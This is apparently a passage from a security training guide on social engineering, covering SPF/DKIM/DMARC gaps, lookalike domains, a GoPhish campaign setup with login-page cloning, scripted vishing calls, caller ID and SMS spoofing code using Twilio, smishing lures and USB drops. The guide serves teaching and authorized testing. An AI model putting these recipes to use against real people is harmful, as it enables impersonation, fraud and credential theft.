&lt;p&gt;Understanding why phishing emails succeed despite email authentication systems is important for both offensive and defensive practice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SPF (Sender Policy Framework):&lt;/strong&gt; A DNS record that specifies which IP addresses are authorized to send email for a domain. If an email arrives from an unauthorized IP, receiving mail servers can reject it. But SPF only validates the "envelope from" address — not the "header from" address that users actually see. An email with a spoofed display header can still pass SPF if the envelope from uses an authorized domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DKIM (DomainKeys Identified Mail):&lt;/strong&gt; Cryptographically signs email with a private key. The receiving server validates the signature using the public key published in DNS. This prevents modification of signed email in transit. But DKIM only validates that the email was signed by someone with access to the domain's private signing key — not that the sender is who they claim to be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DMARC (Domain-based Message Authentication, Reporting and Conformance):&lt;/strong&gt; Builds on SPF and DKIM to instruct receiving mail servers what to do when authentication fails. A strict &lt;code&gt;p=reject&lt;/code&gt; DMARC policy should prevent spoofed emails from reaching recipients. However, as of 2024, a majority of organizational domains still use &lt;code&gt;p=none&lt;/code&gt; (monitor only, no enforcement) or &lt;code&gt;p=quarantine&lt;/code&gt; (send to spam folder rather than reject). Phishing emails that pass SPF and DKIM bypass DMARC entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lookalike domain workaround:&lt;/strong&gt; The most common phishing infrastructure technique is registering a domain that closely resembles the target organization's domain and configuring full SPF, DKIM, and DMARC records for it. targetco.com becomes targetco-security.com, targetc0.com (zero instead of letter O), or targetco.support. These domains pass all authentication checks because they are legitimate domains — they just are not what the target organization uses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to identify phishing infrastructure during OSINT:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for lookalike domains registered near a target&lt;/span&gt;
&lt;span class="c"&gt;# Use dnstwist to find all typosquatted domains&lt;/span&gt;
dnstwist targetco.com &lt;span class="nt"&gt;--registered&lt;/span&gt; &lt;span class="nt"&gt;--json&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; typosquatted_domains.json

&lt;span class="c"&gt;# Check DMARC policy of a domain (p=none = easy to spoof)&lt;/span&gt;
dig _dmarc.targetco.com TXT +short

&lt;span class="c"&gt;# Check when a suspicious domain was registered (recent = suspicious)&lt;/span&gt;
whois suspicious-domain.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Creation Date"&lt;/span&gt;

&lt;span class="c"&gt;# Check if lookalike domain has active MX records (ready to send email)&lt;/span&gt;
dig suspicious-domain.com MX +short
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Phishing Campaign Infrastructure — Professional Red Team Setup
&lt;/h4&gt;

&lt;p&gt;In an authorized social engineering engagement, setting up a phishing campaign involves:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Register lookalike domain&lt;/span&gt;
&lt;span class="c"&gt;# Choose based on target's primary domain&lt;/span&gt;
&lt;span class="c"&gt;# Common patterns: targetco-security.com, secure-targetco.com, targetco.support&lt;/span&gt;

&lt;span class="c"&gt;# 2. Set up VPS server for hosting&lt;/span&gt;
&lt;span class="c"&gt;# Use a cloud provider in a non-suspicious jurisdiction&lt;/span&gt;
&lt;span class="c"&gt;# Harden the server (no unnecessary services, SSH key only)&lt;/span&gt;

&lt;span class="c"&gt;# 3. Install and configure GoPhish&lt;/span&gt;
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
&lt;span class="nb"&gt;cd &lt;/span&gt;gophish
./gophish &amp;amp;
&lt;span class="c"&gt;# Access admin interface at https://localhost:3333&lt;/span&gt;

&lt;span class="c"&gt;# 4. Configure sending profile (SMTP settings for the lookalike domain)&lt;/span&gt;
&lt;span class="c"&gt;# Set up Postfix or use a commercial SMTP relay&lt;/span&gt;

&lt;span class="c"&gt;# 5. Create email template&lt;/span&gt;
&lt;span class="c"&gt;# Copy legitimate email design from the impersonated organization&lt;/span&gt;
&lt;span class="c"&gt;# Replace links with tracking links through GoPhish&lt;/span&gt;

&lt;span class="c"&gt;# 6. Create landing page&lt;/span&gt;
&lt;span class="c"&gt;# For credential harvesting: clone the real login page&lt;/span&gt;
&lt;span class="c"&gt;# Tool: HTTrack, wget for page cloning&lt;/span&gt;
httrack https://mail.targetco.com &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/cloned_login

&lt;span class="c"&gt;# For payload delivery: host the malicious document&lt;/span&gt;

&lt;span class="c"&gt;# 7. Create target list&lt;/span&gt;
&lt;span class="c"&gt;# Import from OSINT (gathered email addresses)&lt;/span&gt;

&lt;span class="c"&gt;# 8. Launch campaign and monitor in real time&lt;/span&gt;
&lt;span class="c"&gt;# GoPhish dashboard shows email opened, link clicked, credentials submitted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Indicators of Phishing — The Defender's Checklist
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sender domain mismatch&lt;/td&gt;
&lt;td&gt;Display name says "Microsoft Support" but sending domain is microsoft-support.co&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Urgency language&lt;/td&gt;
&lt;td&gt;"Immediate action required," "Your account will be suspended," "Security alert"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Generic greeting&lt;/td&gt;
&lt;td&gt;"Dear User" instead of your actual name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suspicious links&lt;/td&gt;
&lt;td&gt;Hover reveals URL that doesn't match the described destination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Request for credentials&lt;/td&gt;
&lt;td&gt;Legitimate services never ask for passwords via email&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unexpected attachments&lt;/td&gt;
&lt;td&gt;Unsolicited documents, especially Office files with macros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Too good to be true&lt;/td&gt;
&lt;td&gt;Lottery wins, unexpected refunds, exclusive opportunities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grammar and formatting&lt;/td&gt;
&lt;td&gt;Subtle errors, inconsistent formatting, wrong logo versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wrong email address&lt;/td&gt;
&lt;td&gt;Reply-to is different from the sender address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Threats and consequences&lt;/td&gt;
&lt;td&gt;"Your account will be deleted," "Legal action will be taken"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  4.2.3 Vishing — Voice Phishing and the Power of Real-Time Pressure
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Why Voice Is the Most Powerful Social Engineering Channel
&lt;/h4&gt;

&lt;p&gt;Vishing (voice phishing) uses telephone calls to manipulate targets. It is consistently underestimated as an attack vector because organizations focus security awareness on email. But vishing has characteristics that make it uniquely powerful — and in many ways more effective than email phishing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-time pressure eliminates reflection time.&lt;/strong&gt; Email allows a recipient to pause, re-read, discuss with a colleague, or research the sender before responding. A phone call creates continuous, real-time social pressure. Pausing to verify seems rude. Asking for the caller's credentials seems paranoid. The conversation momentum carries the target forward before System 2 can engage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Voice creates intimacy and rapport.&lt;/strong&gt; The human voice carries emotional information — confidence, warmth, urgency, authority — that written text cannot replicate. A confident, knowledgeable, friendly voice triggers social responses that written text does not. We are social animals wired to respond to voices; vishing exploits this wiring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caller ID can be trivially spoofed.&lt;/strong&gt; While email authentication has improved (SPF, DKIM, DMARC), caller ID spoofing remains trivially easy. An attacker can make a call appear to originate from any phone number — including internal corporate extensions, government agencies, or partner organizations. The target sees what appears to be a verified, trusted caller before they even answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It mirrors legitimate organizational processes.&lt;/strong&gt; IT help desks call users to resolve tickets. Managers call to assign urgent tasks. Vendors call for account management. Compliance teams call for verification. The telephone is a normal, expected channel for exactly the kinds of interactions social engineers simulate.&lt;/p&gt;

&lt;h4&gt;
  
  
  The MGM Resorts Case Study — The $100 Million Ten-Minute Call
&lt;/h4&gt;

&lt;p&gt;September 2023. The threat actor group Scattered Spider wanted to breach MGM Resorts International. They found their entry point not in the firewall, not in unpatched software, not in the cloud infrastructure. They found it in LinkedIn.&lt;/p&gt;

&lt;p&gt;They identified an MGM employee — a sufficiently senior employee with system access — through LinkedIn. They gathered the employee's publicly visible professional information: name, role, reporting structure, time with the company, potentially their location and department details.&lt;/p&gt;

&lt;p&gt;Then they called MGM's IT help desk. They impersonated the employee. They told the help desk they were locked out of their account. The help desk — following normal support procedures — verified the caller's identity through the information provided (which matched the real employee's information, because it was gathered from public sources). They reset the employee's credentials.&lt;/p&gt;

&lt;p&gt;The call lasted approximately ten minutes.&lt;/p&gt;

&lt;p&gt;Scattered Spider now had valid credentials to MGM's Active Directory. They escalated privileges, moved laterally through the network, and deployed ransomware. Hotel key systems went offline. Casino slot machines went dark. Check-in systems failed. The resulting disruption cost MGM an estimated $100 million.&lt;/p&gt;

&lt;p&gt;The security failure was not a software bug. It was a process design failure: the help desk had no verification mechanism that could distinguish a genuine employee from an impersonator armed with publicly available information. And because social conventions around "proving" identity over the phone are deeply uncomfortable, the verification procedures that did exist were insufficient.&lt;/p&gt;

&lt;h4&gt;
  
  
  Anatomy of a Vishing Call
&lt;/h4&gt;

&lt;p&gt;A professional vishing call — whether executed by an attacker or by an authorized penetration tester simulating one — follows a consistent structure:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Opening — Identity Establishment:&lt;/strong&gt; The first seconds of the call establish the caller's identity. "Hi, this is James from corporate IT security, I'm calling regarding a security incident that may have affected your account." The introduction should be delivered confidently and smoothly, without hesitation. Hesitation signals uncertainty; confidence signals authority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rapport Building:&lt;/strong&gt; Before the ask, build brief rapport. Use the target's name. Reference something specific about their situation. Express appreciation for their time. "I know you're probably in the middle of your workday so I'll make this as quick as possible."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario Delivery — The Pretext:&lt;/strong&gt; Present the scenario that makes the request necessary. Be specific with technical or organizational details (gathered through OSINT). Reference real systems, real processes, real organizational context. "We've been seeing some unusual login activity associated with accounts in the finance department in our SIEM, and your account came up as potentially affected. I need to do a quick verification to rule out a compromise."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authority Reinforcement:&lt;/strong&gt; Throughout the scenario delivery, reinforce authority signals. Reference managers or executives by name. Mention internal systems by their actual names. Cite organizational processes correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Ask:&lt;/strong&gt; Make the specific request. Deliver it as a natural next step in the scenario. Not as the point of the call, but as the obvious necessary action given the situation that has been established.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Handling Resistance:&lt;/strong&gt; If the target expresses hesitation or asks to verify, respond with calm reassurance that validates their caution while providing a resolution. "Absolutely, you should verify — that's exactly the right instinct. You can call back to our security operations center at [number], or I can have my supervisor call you directly. We do need to resolve this quickly though, so whichever way is faster for you."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Close:&lt;/strong&gt; Conclude the call naturally. Thank the target. Reinforce the pretext if necessary. Exit cleanly.&lt;/p&gt;

&lt;h4&gt;
  
  
  Caller ID Spoofing — The Technical Foundation
&lt;/h4&gt;

&lt;p&gt;Caller ID (Caller Name/Number Identification, or CNAM/CNID) is a telephony feature that displays the name and number of incoming callers. Despite its apparent security implications, caller ID was not designed with authentication in mind and is trivially spoofable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;Tools&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;caller&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;spoofing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="nc"&gt;SpoofCard &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commercial&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;grade&lt;/span&gt; &lt;span class="n"&gt;caller&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;spoofing&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;
&lt;span class="nc"&gt;SpoofTel &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commercial&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Professional&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;grade&lt;/span&gt; &lt;span class="n"&gt;spoofing&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;authorized&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt;
&lt;span class="n"&gt;Burner&lt;/span&gt; &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Temporary&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="n"&gt;services&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt; &lt;span class="n"&gt;identity&lt;/span&gt;

&lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;authorized&lt;/span&gt; &lt;span class="n"&gt;penetration&lt;/span&gt; &lt;span class="n"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Use&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;VoIP&lt;/span&gt; &lt;span class="n"&gt;provider&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;allows&lt;/span&gt; &lt;span class="n"&gt;custom&lt;/span&gt; &lt;span class="n"&gt;caller&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Asterisk&lt;/span&gt; &lt;span class="n"&gt;PBX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="n"&gt;PBX&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;allows&lt;/span&gt; &lt;span class="n"&gt;outgoing&lt;/span&gt; &lt;span class="n"&gt;caller&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Twilio&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;programmable&lt;/span&gt; &lt;span class="n"&gt;telephone&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;

  &lt;span class="c1"&gt;# Twilio Python example for authorized red team calling
&lt;/span&gt;  &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;twilio.rest&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt;
  &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;account_sid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;calls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;+1-555-target-number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;from_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;+1-555-spoofed-number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Internal number or trusted vendor
&lt;/span&gt;      &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://demo.twilio.com/docs/voice.xml&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Caller ID spoofing is illegal when used for fraud in most jurisdictions (U.S. Truth in Caller ID Act, UK Communications Act). For authorized penetration testing, the Rules of Engagement document must explicitly authorize vishing and caller ID spoofing, and the engagement contract must indemnify the testing team for actions within scope.&lt;/p&gt;

&lt;h4&gt;
  
  
  AI-Powered Vishing — Voice Cloning and Deepfakes
&lt;/h4&gt;

&lt;p&gt;One of the most significant recent developments in social engineering is the emergence of AI voice cloning and real-time voice synthesis. These technologies allow attackers to create convincing audio impersonations of specific individuals — executives, IT staff, family members — using as little as a few seconds of audio training data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The 2019 UK CEO voice clone case&lt;/strong&gt; was an early harbinger: criminals used AI-synthesized speech to impersonate a CEO's voice on a call to the CFO, ordering an urgent wire transfer. The CFO complied, transferring approximately $243,000. The synthetic voice apparently captured not just the words but the speaking pattern, accent, and emotional nuances of the real CEO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The 2024 Arup case&lt;/strong&gt; represented a significant escalation: attackers used a deepfake video call — not just audio — to impersonate a company's CFO and other executives in what appeared to be a live video conference. An employee was convinced by the deepfake colleagues to transfer $25 million. When they later called the real CFO to discuss the "conversation," they discovered the call had been entirely synthetic.&lt;/p&gt;

&lt;p&gt;These developments mean that even organizations with strong vishing awareness — where employees know not to trust phone calls claiming to be executives — must now also be cautious of video calls that appear to show real people.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defending against voice cloning attacks:&lt;/strong&gt; The most effective defensive approach is an out-of-band verification protocol — a pre-agreed mechanism for verifying high-risk requests that does not rely on the original communication channel. "If someone on a video call asks you to transfer money, call them back on a number you already have, not one they provide."&lt;/p&gt;

&lt;h4&gt;
  
  
  Vishing in Authorized Penetration Testing
&lt;/h4&gt;

&lt;p&gt;Vishing engagements in authorized social engineering tests typically target specific attack objectives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Obtaining credentials (username, password, MFA codes)&lt;/li&gt;
&lt;li&gt;Manipulating IT help desk staff into credential resets&lt;/li&gt;
&lt;li&gt;Extracting sensitive organizational information&lt;/li&gt;
&lt;li&gt;Getting employees to install remote access tools&lt;/li&gt;
&lt;li&gt;Testing incident response to social engineering attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The output of a vishing test is both the specific findings (what information was obtained) and the process observations (what procedures failed to prevent the attack, what signals the target should have recognized).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pre-engagement checklist for authorized vishing:
☐ Explicit written authorization for vishing in Rules of Engagement
☐ Target list with contact information
☐ Defined objectives (what to obtain/test)
☐ Pretext scenarios designed and reviewed
☐ Caller ID spoofing approach authorized
☐ Call recording setup (for evidence and report)
☐ Emergency stop procedure defined (if target becomes distressed)
☐ Out-of-scope individuals identified
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4.2.4 SMS Phishing (Smishing) — The Mobile Attack Surface
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Why SMS Is a High-Value Attack Channel
&lt;/h4&gt;

&lt;p&gt;Smishing (SMS + phishing) uses text messages to deliver phishing attacks. Despite seeming like a less sophisticated attack channel than email, smishing has several properties that make it consistently effective:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMS is perceived as more trustworthy than email.&lt;/strong&gt; People have been conditioned to be skeptical of email — "don't click links in emails" is a standard piece of security advice. SMS does not carry the same cultural skepticism. Many users apply critical thinking to emails that they would not apply to text messages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMS delivers immediately and demands attention.&lt;/strong&gt; Smartphone notifications for text messages are more immediate and attention-demanding than email notifications. The psychological experience of receiving a text message is more urgent than receiving an email — which is exactly the emotional state social engineers want to create.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMS bypasses email security controls entirely.&lt;/strong&gt; All the investment organizations make in email security gateways, anti-phishing tools, and DMARC enforcement is completely irrelevant to an SMS-delivered attack. The message goes directly to the target's personal mobile device, through the carrier's network, without any organizational security infrastructure in the path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Short format reduces the signals available for analysis.&lt;/strong&gt; The limited character count of SMS means there is less text to analyze for suspicious patterns, incorrect grammar, or formatting anomalies. A 160-character smishing message can contain very few indicators that something is wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mobile users click more impulsively.&lt;/strong&gt; Research consistently shows that mobile users interact with content more quickly and with less deliberation than desktop users. The context of mobile use — often multitasking, in transit, distracted — reduces the cognitive resources available for careful evaluation.&lt;/p&gt;

&lt;h4&gt;
  
  
  Common Smishing Attack Patterns
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Package delivery notifications&lt;/strong&gt; are the most commonly successful smishing category. "Your USPS package [tracking: US9514901165421] has been held at a warehouse. Please confirm your address: [link]." The scenario is plausible (most people have packages in transit), the request is low-stakes (updating an address), and the format exactly mimics legitimate delivery notifications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Banking and financial institution alerts&lt;/strong&gt; exploit the financial anxiety most people have around their bank accounts. "CHASE ALERT: A new device has logged into your account. If this wasn't you, click here to secure your account: [link]." The urgency (potential unauthorized access) and the trusted brand name (even though the sending number is not Chase) create immediate compliance pressure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Government and tax authority messages&lt;/strong&gt; leverage both authority and potential legal/financial consequences. "IRS NOTICE: You have an unclaimed refund of $1,247.50. Submit your information to claim within 48 hours: [link]." The combination of financial gain and time pressure hits two Cialdini principles simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two-factor authentication phishing&lt;/strong&gt; represents a particularly sophisticated smishing technique. After obtaining a target's credentials through other means (data breach, keylogger, credential stuffing), the attacker attempts to log in and triggers a legitimate MFA SMS code to the target's phone. Simultaneously, they call or text the target claiming to be from the service's security team and asking the target to "verify" the code they just received. The target provides the real MFA code to the attacker, completing the authentication bypass.&lt;/p&gt;

&lt;h4&gt;
  
  
  Smishing Infrastructure for Authorized Testing
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# For authorized red team SMS testing:&lt;/span&gt;

&lt;span class="c"&gt;# SMS spoofing services (legitimate authorized use only):&lt;/span&gt;
&lt;span class="c"&gt;# - Twilio: programmable SMS with custom sender ID&lt;/span&gt;
&lt;span class="c"&gt;# - Plivo: similar capabilities&lt;/span&gt;
&lt;span class="c"&gt;# - TextMagic: commercial SMS platform with sender ID support&lt;/span&gt;

&lt;span class="c"&gt;# Example: Using Twilio for authorized smishing simulation&lt;/span&gt;
from twilio.rest import Client

client &lt;span class="o"&gt;=&lt;/span&gt; Client&lt;span class="o"&gt;(&lt;/span&gt;account_sid, auth_token&lt;span class="o"&gt;)&lt;/span&gt;
message &lt;span class="o"&gt;=&lt;/span&gt; client.messages.create&lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nv"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"[INTERNAL SECURITY TEST] Click here to verify your credentials: http://test.targetco-security.com"&lt;/span&gt;,
    &lt;span class="nv"&gt;from_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"+15005550006"&lt;/span&gt;,  &lt;span class="c"&gt;# Test number for authorized engagement&lt;/span&gt;
    &lt;span class="nv"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"+1-555-target-number"&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Track click rates and credential submissions via GoPhish or custom landing page&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SMS sender ID spoofing:&lt;/strong&gt; In many countries, the sender ID (the name or number displayed for an SMS) can be set to any string by the sender. This allows attackers to send messages that appear to come from "CHASE BANK" or "USPS" or any other trusted entity. Some carriers validate sender IDs; many do not.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Smishing Attack Chain — From Text to Compromise
&lt;/h4&gt;

&lt;p&gt;The smishing attack typically follows a multi-step chain:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — SMS delivery:&lt;/strong&gt; Target receives a text message with a plausible scenario and a link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — Landing page:&lt;/strong&gt; The link leads to a mobile-optimized phishing page designed to match the impersonated entity. Mobile-optimized is critical — a non-mobile page immediately signals something is wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — Credential capture or malware delivery:&lt;/strong&gt; The landing page either captures credentials (fake login page) or delivers malware (document download, malicious profile, exploit page).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — Credential use or malware execution:&lt;/strong&gt; Captured credentials are used for unauthorized access. Malware establishes persistence and provides continued access.&lt;/p&gt;

&lt;p&gt;The most sophisticated smishing attacks use &lt;strong&gt;real-time relay systems&lt;/strong&gt; (called Adversary-in-the-Middle or AitM setups) that relay the target's credentials and MFA codes to the real service in real time — allowing attackers to bypass MFA entirely. The target believes they are logging into their real bank; the attacker is using their credentials to authenticate simultaneously.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.2.5 USB Drop Attacks — Physical Media as a Cyberweapon
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Psychology of Found Objects
&lt;/h4&gt;

&lt;p&gt;A USB drop attack places USB drives in locations where the intended targets will find them and, out of curiosity or helpfulness, connect them to their computers. This relies on a deceptively simple psychological mechanism: humans pick up found objects, and when those objects have a plausible institutional identity, humans are strongly inclined to figure out what they are and "return" them or "report" them — which requires connecting them to a computer.&lt;/p&gt;

&lt;p&gt;A 2016 study conducted by Google and the University of Illinois Urbana-Champaign tested this precisely. They dropped 297 USB drives around the University of Illinois campus. Of those, 48% were plugged in — with files opened within hours. The plugging rate was 100% for drives left in parking lots labeled with "Final Exam Q&amp;amp;A" or similar academic labels. The study demonstrated that curiosity and helpfulness, not naivety, drove the behavior.&lt;/p&gt;

&lt;p&gt;The implication is significant: USB drop attacks work on sophisticated, educated, security-aware users just as well as on naive ones, because the psychological drivers are curiosity and institutional obligation, not ignorance.&lt;/p&gt;

&lt;h4&gt;
  
  
  Types of USB Attack Payloads
&lt;/h4&gt;

&lt;p&gt;A malicious USB drive can deliver attacks through several mechanisms:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HID (Human Interface Device) Emulation:&lt;/strong&gt; The USB device registers itself not as a storage device but as a keyboard and/or mouse. When connected, it begins automatically typing pre-programmed keystrokes at speeds no human can match — opening a terminal, downloading a payload, executing it, and covering its tracks — all within seconds. The HID attack is particularly potent because it bypasses USB storage restrictions (many organizations block USB storage) and executes before security tools can respond.&lt;/p&gt;

